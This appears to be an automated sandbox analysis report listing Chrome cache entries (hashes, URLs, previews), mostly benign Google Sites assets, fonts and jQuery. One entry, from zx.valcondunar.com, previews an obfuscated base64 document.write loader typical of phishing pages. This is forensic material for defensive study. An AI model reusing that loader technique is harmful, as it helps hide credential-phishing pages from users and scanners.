Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._.ZFb=function(a,c){c=c===void 0?window:c;c=c===void 0?window:c;return(c=c.WIZ_global_data)&&a in c?c[a]:null};.}catch(e){_._DumpException(e)}.try{._.x("IZT63");.var nWb=function(){var a=_.ZFb("nQyAE",window),c;if((c=_.ZFb("TSDtV",window))&&typeof c==="string"){var e=_.jj(_.lm(c,iWb),jWb,1,_.ej())[0];if(e){c={};e=_.jj(e,kWb,2,_.ej());e=_.r(e);for(var f=e.next();!f.done;f=e.next()){var g=f.value;f=_.K(g,7);switch(_.gj(g,p8)){case 3:c[f]=_.I(g,_.hj(g,p8,3));break;case 2:c[f]=_.xj(g,_.hj(g,p8,2));break;case 4:c[f]=_.mja(g,_.hj(g,p8,4));break;case 5:c[f]=_.K(g,_.hj(g,p8,5));break;case 8:switch(g=_.ij(g,lWb,_.hj(g,p8,8)),_.gj(g,mWb)){case 1:c[f]="%.@."+_.K(g,_.hj(g,.mWb,1)).substring(1)}}}}else c={}}else c={};if(c&&Object.keys(c).length>0)for(e=_.r(Object.keys(c)),f=e.next();!f.done;f=e.next())f=f.value,f in a\|\|(a[f]=c[f]);return a},lWb=function(a){this.ca=_.w(a)};_.F(lWb,_.L);var mWb=[1];var kWb=function(a)

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1337341
Entropy (8bit):	5.683380762699244
Encrypted:	false
SSDEEP:	12288:91aXjGCzajTSMCd2mNCz4+24chUrno4QaNwXj+C6+vUn8sA:91MjGCzajTk
MD5:	C717AC1FEE95216388DCF3A232A6D905
SHA1:	15227DB61880671F224A947AF89484ACBFB0086C
SHA-256:	74353691BD3623EC979870AF42A23AC3C96E38FED07A4D6A6551A2D58A1A4927
SHA-512:	2B12CF3782FC4D11741F20D1BE807A2574A6F85FDB1B3A476ACCC3BB754AC16D469CC506D74534F168233F03E95584E16222149CCC0408B8E3EA395298066499
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/_/atari/_/ss/k=atari.vw.25xU_Jr9-_c.L.W.O/am=MBiA/d=1/rs=AGEqA5n10fXMAoH4jqEm2IA-nKhHo2AxQw
Preview:	.VIpgJd-TzA9Ye-eEGnhe{position:relative;display:-moz-inline-box;display:inline-block}* html .VIpgJd-TzA9Ye-eEGnhe{display:inline}:first-child+html .VIpgJd-TzA9Ye-eEGnhe{display:inline}/! normalize.css v2.1.1 \| MIT License \| git.io/normalize */article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}audio:not([controls]){display:none;height:0}[hidden]{display:none}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a:focus{outline:thin dotted}a:active,a:hover{outline:0}h1{font-size:2em;margin:.67em 0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}hr{box-sizing:content-box;height:0}mark{background:#ff0;color:#000}code,kbd,pre,samp{font-family:monospace,serif;font-size:1em}pre{white-space:pre-wrap}q{quotes:"\201C" "\201D" "\2018" "\2019"}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-ali

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1225)
Category:	dropped
Size (bytes):	92926
Entropy (8bit):	5.612434461064469
Encrypted:	false
SSDEEP:	1536:tj0pP0oOzTuBXc2ZEw8b58rKnV+r2xt431sko/P:tNoOzTuhcXwqArCP
MD5:	48F3855E9F0307D289CBC9C2313BD1D8
SHA1:	7EDDAAF230FE48F519C7A7EEBDFD53443D2CBB5E
SHA-256:	7A62263CC1E9A35BDBB728B683670B4CDD0F8C6CC955F5760F5BF60A51FFCFAF
SHA-512:	C7317185815F511D88FE857AA7272B60F469308E3BDF4FC79BA0A492742BB4E85F36576ACE969031A013505539B5E2FA3E3C1879F6B657D0500EFB8BB3E599DB
Malicious:	false
Reputation:	low
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._.x("NTMZac");.var D8=function(){_.Ll.call(this)};_.F(D8,_.Mn);D8.la=_.Mn.la;D8.prototype.Ml=function(){throw Error("ii");};D8.prototype.RF=function(){throw Error("ii");};D8.prototype.Nb=function(){throw Error("ii");};_.ko(_.Mta,D8);._.z();.}catch(e){_._DumpException(e)}.try{._.x("m9oV");._.P3=function(){_.Ll.call(this);this.enabled=!1};_.F(_.P3,_.Mn);_.P3.la=_.Mn.la;_.P3.prototype.Ua=function(a){this.enabled=a};_.P3.prototype.isEnabled=function(){return this.enabled};_.ko(_.eIa,_.P3);._.z();.}catch(e){_._DumpException(e)}.try{._.x("Ae65rd");.var AFb=_.qd("Ae65rd");var L1=function(a){_.Qn.call(this,a.Na);this.B=!1};_.F(L1,_.Qn);L1.la=_.Qn.la;_.k=L1.prototype;_.k.G3=function(){var a=this.S("haAclf").el();this.B=_.Im(a,"pointerEvents")==="none"};_.k.D3=function(a){var c=this.U(),e=this.S("haAclf").el();e=_.Im(e,"display")!=="none"&&a.targetElement.closest(".Znu9nd").el()===null;var f=this.B&&e&&!c.ab("CJI

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3396 x 1920, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	87859
Entropy (8bit):	7.046777034066421
Encrypted:	false
SSDEEP:	1536:k4iIwz9HmGeKV5FrZuUDPA3Ae3ItuR30nAVO4P88D6s:piIkGZ+ZsJ4YR30ePHD6s
MD5:	A4D9107960AE4E4F79E6A36DF931EF5D
SHA1:	35704C698FCCD795B8F19DA76672A72C00422857
SHA-256:	FBBBC78E85DFA4F2B390E6DC2F3850D0F5247D16B5FD525093331572AA79AE84
SHA-512:	2C7FB7F198B0B141DD5B2B72ECB8B6E00514B70DFDE8CF6161988A5BB4F26C72BEED5CB59EC9E80BB2651016999D7DBB1CEE73F18AF7A982A0F3AC73E9B02465
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png
Preview:	.PNG........IHDR...D.........3;+.....sBIT.....O...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-... .IDATx...!.. ..0..X..I.................@g............;3............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13..

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (31717), with CRLF line terminators
Category:	downloaded
Size (bytes):	68012
Entropy (8bit):	5.814387794585099
Encrypted:	false
SSDEEP:	1536:hdkIeeBv/UhcYjBh9zZ37r3iDldhdkIeeBv/UhcYjBh9zZ37r3iDldveQ:hdk9wUhcY6dk9wUhcYq
MD5:	0249DF14123D29E782650A304270595F
SHA1:	E6609E177BEEEC9C5CA91914E49D3E60474FB390
SHA-256:	DD9C18EA30BCE3CEE0D58D1871D24BC58F288728E6689949050A5ED1D4AA6176
SHA-512:	C733D0922FC158EC475EE4598261D34013BD04D10F1AE6083AA53BA2AE63F480F12BCAF0F3D183C7744460DCB5FCE21043173F0592526E35202A7236D4D565B1
Malicious:	false
Reputation:	low
URL:	https://zx.valcondunar.com/b3k54/
Preview:	<script>....if(atob("aHR0cHM6Ly9MR3BhLnZhbGNvbmR1bmFyLmNvbS9iM2s1NC8=") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyOjpiZWZvcmUgew0KICAgIGNvbnRlbnQ6ICIiOw0KICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICB0b3A6IDA7DQogICAgbGVmdDogMDsNCiAgICByaWdodDogMDsNCmJvdHRvbTogMDsNC

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1953)
Category:	downloaded
Size (bytes):	38020
Entropy (8bit):	5.63608450668924
Encrypted:	false
SSDEEP:	768:KckTaQOQMB+JTl7vtnCQt2zWAaL7Lg3Qi16YxjqCW5InXPjwM:pQOTqTlVCQMzWl7MsWB
MD5:	981999AE4E7A1B7534ED52AD7B437CA3
SHA1:	5271CD98374EC3BF9FD8B09E6E53E1320D4B1B4C
SHA-256:	24ECEB95A538E2CA25FECE065D4F518AC5AFDCF67F4550A3A962A635F2724A59
SHA-512:	70273D218D62E78225FB77F500A1B3A68A63C96EED4DDAFE0536B9B71D27F4506BDDFB966840712323413F691DDC5638BFBC536D8B29A69BE3A3457C480D931A
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/atari/_/js/k=atari.vw.en_US.fw_mAcuwUyE.O/am=MBiA/d=0/rs=AGEqA5lwNXFYaHUUDGYHiMqlOO36DqQAOw/m=sy1j,sy1l,sy1m,sy1k,FoQBg"
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._.JOa=function(a){for(var c=[],e=0,f=0;f<a.length;f++){var g=a.charCodeAt(f);g<128?c[e++]=g:(g<2048?c[e++]=g>>6\|192:((g&64512)==55296&&f+1<a.length&&(a.charCodeAt(f+1)&64512)==56320?(g=65536+((g&1023)<<10)+(a.charCodeAt(++f)&1023),c[e++]=g>>18\|240,c[e++]=g>>12&63\|128):c[e++]=g>>12\|224,c[e++]=g>>6&63\|128),c[e++]=g&63\|128)}return c};_.fC=function(a,c,e){return _.Co(_.Ho(a,c),c,e)};_.gC=function(){this.blockSize=-1};.}catch(e){_._DumpException(e)}.try{.var hC,iC,KOa,LOa,OOa,POa,jC,VOa,WOa,XOa,YOa,mC,ZOa,aPa,bPa,oC;hC=function(a,c){this.F=a;this.H=c;this.B=!0};iC=function(a){var c={};a=a.replace(/\r/g,"").split("\n");for(var e=0;e<a.length;e++){var f=a[e],g=f.indexOf(":");g<0\|\|(c[f.substring(0,g)]=f.substring(g+2,f.length))}return c};KOa=function(a){var c="";_.td(a,function(e,f){c+=f+": "+e+"\r\n"});return c};LOa=function(){};_.MOa=function(){var a=new _.Pr;_.ur(a);_.wr(a,Error(a));return a};._.NOa=function

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4955
Entropy (8bit):	5.3252243011550915
Encrypted:	false
SSDEEP:	96:HYg1aipJc+u7Yg1aijNKYgEatJc+u7YgEafNKYgpaiKJc+u7YgpaigNKO1a+Jc+d:4niJ3nilOF3OBrii3rihuILM1C2MS
MD5:	684F9458CC57E4E3D10A7371167FDD65
SHA1:	A1416D4521EE15728690F1E69C38AC5D3BA0C0D5
SHA-256:	809DF0321E4C22FB83008EFCA44B5F5E7AA10B7BB1CA6234A78D0795A7EC6EA8
SHA-512:	0636A9500F3B9BB81CD365D75449E3DA36EBC8CAF5E8AAB9BB23F72FB40C8FE783A3DCB1EC12D532196AC4718394A07BAC53D897E98EE1B71D66DC1807BBF1A2
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Lato%3A300%2C300italic%2C400%2C400italic%2C700%2C700italic&display=swap
Preview:	/* latin-ext /.@font-face {. font-family: 'Lato';. font-style: italic;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI9w2_FQft1dw.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Lato';. font-style: italic;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI9w2_Gwft.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Lato';. font-style: italic;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u8w

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:Hn8ohkYn:H8ohkY
MD5:	900914BC560773CAF9E095A8F17F6E37
SHA1:	51E0C4C0C0902C50F0D7E7581E0EDB0DCC191D7D
SHA-256:	08E437A7674E58F221D4EE6D5742EF2643929FB566511709F988B5EBE4FE4C1E
SHA-512:	2B48B170CEEBD6DB978D4DC79710A746903473B7C378FA25D6564AD6F6D2141A080E83C66D79688C35D3146F6DBFE996D3232C7A643F7767B8124C18065DB1C2
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlDJtSIgVjqBRIFDb2Fgw8=?alt=proto
Preview:	CgkKBw29hYMPGgA=

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 23236, version 1.0
Category:	downloaded
Size (bytes):	23236
Entropy (8bit):	7.986328239479246
Encrypted:	false
SSDEEP:	384:AHLaTYDpoR9l+9cJHxkGk3kbFpW88POLvFd9EDtwntxiFyLs86d975a2sfbAh:AHLKSSD49c0SFQ1wFnCajiws86dJ59WK
MD5:	716309AAB2BCA045F9627F63AD79D0BF
SHA1:	38804233A29AAF975D557FE14E762C627BEF76E0
SHA-256:	115F6A626CA115D4AD5581B59275327E0E860B30330A52B0F785561332DD2429
SHA-512:	ADB0BC6CB9B230EDA5DAC7396A94A9A4DBA9C8BA0B2EB73F5F21A20C3CA3D14651420BC6A17E67A71B5BBA624F5A4E92D55CBBB898985DCCA838184F6DFB2B15
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh7USSwiPGQ.woff2
Preview:	wOF2......Z........\..Z^..........................z.p.`..`..D....s...........B.....6.$..v. .....E.r........}Q.J..0..m..%h...1/<...J......z..........N&2\.K{iZ.....F$.AZ.!.=..a(...mv..t.6d..lH2..E}..j2..oq..Q..B#..........i.....\..%...0.Os..f.^;}..J....i..>]..w-...rN&#Y.N.9n.......[.=d...y..;...54..`7(.......!......b...$$..{._...\|.;...7....0...Wlls..8.P.[.Ts.tu.T...c....F.g.;.....@.^/3......U0..Pu..;]......%.:...Z../..t..(..p..#..!!-...}.#..ET.Q5A._K.6...Q\.7,....8.E....R.ATPQ..(iI..60.Y....^....\.7}.z....c......Y}Y....1....(...y.!Z.,...h...{.n....j....8.&..!....0'....m....7..L...rA...C..K....I..0.l8...A...."......'...........,M`.`.}..2.."<.MW[.....?..5..;.`.".d..dU..........V1..W.O.,.....r....+./.....z.m\..2...l ..6....... .+J..k..T%..4Uy..U.#.=....]'...f...R.u.Z......s.g.P+\....(....$...W....s'.{.R'...>..5f.R..9......&.`.A....b.Jexn.$..g.4.../.#.VR.B%.f+3&.qb.?...:.~........:Dg.5,...j.B..B.^-.......?.ig......(..O..~ ..\...T%:......P..M."..+.++_4...

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2049)
Category:	dropped
Size (bytes):	14469
Entropy (8bit):	5.472997784863054
Encrypted:	false
SSDEEP:	384:IYim7O/sAg9U6KAQdkzFu+5aiWQLHO91cIuW:IoqUAh8vzLW2y
MD5:	F447D1B8B0211DD89ABAF4E43D2D1FFE
SHA1:	53B9C5F73A3F9E2C59293037469F3C69F317454F
SHA-256:	AE2328B23CA6A7F6C2FDAAF7EC080B674AC1C95DA79378DAB2D15DFA3CBDF550
SHA-512:	16DAB239929B5C02C0A34640237ED4E91C66F581A52B54B671D807EC894891C8F8FE3FCF1EB54C6EFA1EF0AE136B136B68855AEC931877A47CFFD3D4D663FE67
Malicious:	false
Reputation:	low
Preview:	(function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	2.3710475547263856
Encrypted:	false
SSDEEP:	6:RlMRQ8W828W828W828W828S8eftXfc/lk:Ry3X3X3X3XjeVUk
MD5:	EA69A3F95DD5484853D128186DB7E13D
SHA1:	5FDB5FE05108FD6E5386BBDA06778AF4B446DC6A
SHA-256:	8179E80BCFEF62154D1FF7371A1C60BD2C6C1E71C3DA2F4A8B1DB518A1900EC2
SHA-512:	2169D31065059C3677D025F27A5650C1E35BF83B6D6B3D80842B0809FF67E85388CB00213A4BD3FA76F71909A21298C824B39299A3980BA3B11C0297DB472610
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/atari/images/public/favicon.ico
Preview:	............ .h.......(....... ..... .....@....................P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>......................P>..P>..............P>..P>..P>..P>..P>..P>......................P>..P>..............P>..P>..P>..P>..P>..P>......................P>..P>..............P>..P>..P>..P>..P>..P>......................P>..P>..............P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..........................................P>..P>..P>..P>..P>..P>..........................................P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (524)
Category:	downloaded
Size (bytes):	682280
Entropy (8bit):	5.549668900622937
Encrypted:	false
SSDEEP:	6144:iOa+LzokwOO56xt5DBlDF3toBPrE0XG8EpzKv8aIrtkvuLDPxlzPW872w2vbY:iOaTnA7BlDFX0XNpvKLDYY
MD5:	12F310BB15EC7927981B4A8BC629A0B6
SHA1:	DA7BB7694CDAAF0A86DB0F7D780039A29EB89DC7
SHA-256:	50EC1065C8CF25CCEFF7240B871CD141C1097BEF4AB395F2BD5FCEE7CA3B2AC1
SHA-512:	FD4317F5049D5441CB27B86FA5EC2216373A434A4A4E05B5BF4EF35B77E02F97674429CC656820E92A659CCDF49E4890FF0156A5244DF0D43A84303F9BE26C50
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/_/atari/_/js/k=atari.vw.en_US.fw_mAcuwUyE.O/am=MBiA/d=1/rs=AGEqA5lwNXFYaHUUDGYHiMqlOO36DqQAOw/m=view
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x801830, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT././. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC All Rights Reserved... Use of this source code is governed by an MIT-style license that can be. found in the LICENSE file at https://angular.dev/license././.. Copyright 2017 Google LLC. SPDX-License-Identifier: BSD-3-Clause././*.. Copyright 2019 Google Inc... Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restrictio

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1239)
Category:	downloaded
Size (bytes):	129391
Entropy (8bit):	5.658313993435465
Encrypted:	false
SSDEEP:	1536:cA3i0ALxQEyQ4mjIfjj+wcD9KeYy/KJZv58V5Vs6uZzIF4uenXlDYwFO4vUebzP6:NUsdqwUXUZv58V5Vs6+zhowpvT7C
MD5:	BD27851B76DD704D42F3CE0CE7C79FD4
SHA1:	D7D80893B7C2C82A8EFD5FF24D0A13BB70211A23
SHA-256:	9106E31425E54823B8B82F600AC01F49963CB8F1DAE3EE3102DABE0D1BF7358D
SHA-512:	BC563ACC94468B81029BFDC51AF3A7D96CD09108DA80FF5176F14D5B8A4618E90BF4419CE29DFBE1C17D7CA60CEFA3C4B598372008D0DB3A7B55516F69114C2B
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/atari/_/js/k=atari.vw.en_US.fw_mAcuwUyE.O/am=MBiA/d=0/rs=AGEqA5lwNXFYaHUUDGYHiMqlOO36DqQAOw/m=MpJwZc,n73qwf,A4UTCb,mzzZzc,CHCSlb,qAKInc,sy3i,abQiW,sy12,PVlQOd,NPKaK,sy7,BVgquf,fmklff,TGYpv,KUM7Z,qEW1W,oNFsLb,sy4f,yxTchf,sy4g,sy4h,xQtZb,yf2Bs,sy3,sya,yyxWAc,qddgKe,sy3k,SM1lmd,sy9,sy8,sy13,RRzQxe,vVEdxc,sy2p,fNFZH,syg,sy1d,Md9ENb,sy1y,sy20,sy2,syl,sym,syc,sy1z,sy2j,syq,sy4,syb,sy3j,sy1v,sy26,sy2k,syp,syn,RrXLpc,cgRV2c,sy15,sy1f,sy2i,sy2z,o1L5Wb,sy3l,X4BaPc"
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._.x("MpJwZc");.._.z();.}catch(e){_._DumpException(e)}.try{._.x("n73qwf");.._.z();.}catch(e){_._DumpException(e)}.try{._.x("A4UTCb");.._.z();.}catch(e){_._DumpException(e)}.try{._.x("mzzZzc");.var YKa;_.MA=function(){_.Ll.call(this)};_.F(_.MA,_.Mn);_.MA.la=_.Mn.la;YKa=function(a){a=_.Je(a,function(c){return _.Ie(c)&&(c.id==="yDmH0d"\|\|c.classList.contains("yDmH0d"))});return _.Ie(a)?a:null};_.NA=function(a){if(a){var c;return(c=YKa(a))!=null?c:_.Ke(a).body}a=document;var e;return(e=a.getElementById("yDmH0d"))!=null?e:a.body};_.ko(_.Zo,_.MA);._.z();.}catch(e){_._DumpException(e)}.try{._.x("CHCSlb");._.LA=function(){_.Ll.call(this)};_.F(_.LA,_.Mn);_.LA.la=_.Mn.la;_.ko(_.Yna,_.LA);._.z();.}catch(e){_._DumpException(e)}.try{._.x("qAKInc");._.U2=function(a){_.Qn.call(this,a.Na);this.B=this.getData("active").B(!1);this.C=this.S("vyyg5");this.F=_.wf(_.xf(this).Bc().cb(function(){var c=this.U();this.B?c.Sa("qs41q

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 23040, version 1.0
Category:	downloaded
Size (bytes):	23040
Entropy (8bit):	7.990788476764561
Encrypted:	true
SSDEEP:	384:adpABC4a0HkBpR1HWtGu06B6lsoAKiwY0HcLKglV6Z+DVb35PJZDdiZeJ1vqYg:0AHa0Ezf2tZn6lsoABwTKK46ZQb3V7wD
MD5:	DE69CF9E514DF447D1B0BB16F49D2457
SHA1:	2AC78601179C3A63BA3F3F3081556B12DDCAF655
SHA-256:	C447DD7677B419DB7B21DBDFC6277C7816A913FFDA76FD2E52702DF538DE0E49
SHA-512:	4AEBB7E54D88827D4A02808F04901C0D09B756C518202B056A6C0F664948F5585221D16967F546E064187C6545ACEF15D59B68D0A7A59897BD899D3E9DDA37B1
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh6UVSwiPGQ.woff2
